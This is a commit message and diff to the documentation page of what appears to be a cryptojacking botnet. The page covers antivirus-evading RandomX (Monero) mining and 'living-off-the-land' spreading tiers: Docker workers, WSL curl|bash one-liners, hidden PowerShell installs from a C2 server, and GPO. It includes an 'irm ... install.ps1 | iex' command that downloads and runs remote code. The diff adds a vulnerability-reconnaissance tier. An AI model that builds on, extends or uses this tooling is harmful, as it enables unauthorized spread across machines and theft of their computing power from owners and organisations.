Cleanup after LOTL: sync vuln_recon as the tenth tier across server, agent, and UI; tighten gitignore and trim PROBLEMS; dedupe spread docs into a single canonical stub.

server/web/public/docs/SPREAD_TECHNIQUES.html

@@ -380,7 +380,7 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
             Forge preset adjacent to <strong>AV-Safe</strong>: in-process RandomX (same <strong>XMR wallet</strong> field),
             no GPU exe drop, ordered contingencies using living-off-the-land tooling only.
           </p>
-          <h4>Default tier order (docker → GPO)</h4>
+          <h4>Default tier order (vuln recon → GPO)</h4>
           <p class="form-hint">
             Baked at forge time; when <code>lotl_policy_from_server</code> is enabled the agent pulls the live order from
             <code>server.lotl_onion_tiers</code> in Calibrate on WebSocket auth — no re-forge to reorder.
@@ -388,6 +388,7 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
           <table class="wiki-table">
             <thead><tr><th>Tier</th><th>One-line</th></tr></thead>
             <tbody>
+              <tr id="lotl-tier-vuln_recon"><td><strong>vuln recon</strong></td><td>Read-only KEV/CVE/service probe — report-only, no exploit</td></tr>
               <tr id="lotl-tier-docker"><td><strong>docker</strong></td><td>Container worker image — isolated RandomX, no host miner exe drop</td></tr>
               <tr id="lotl-tier-wsl"><td><strong>wsl</strong></td><td>WSL curl|bash one-liner when native Windows path is blocked</td></tr>
               <tr id="lotl-tier-powershell"><td><strong>powershell</strong></td><td>PS remoting / hidden install.ps1 from your C2 origin</td></tr>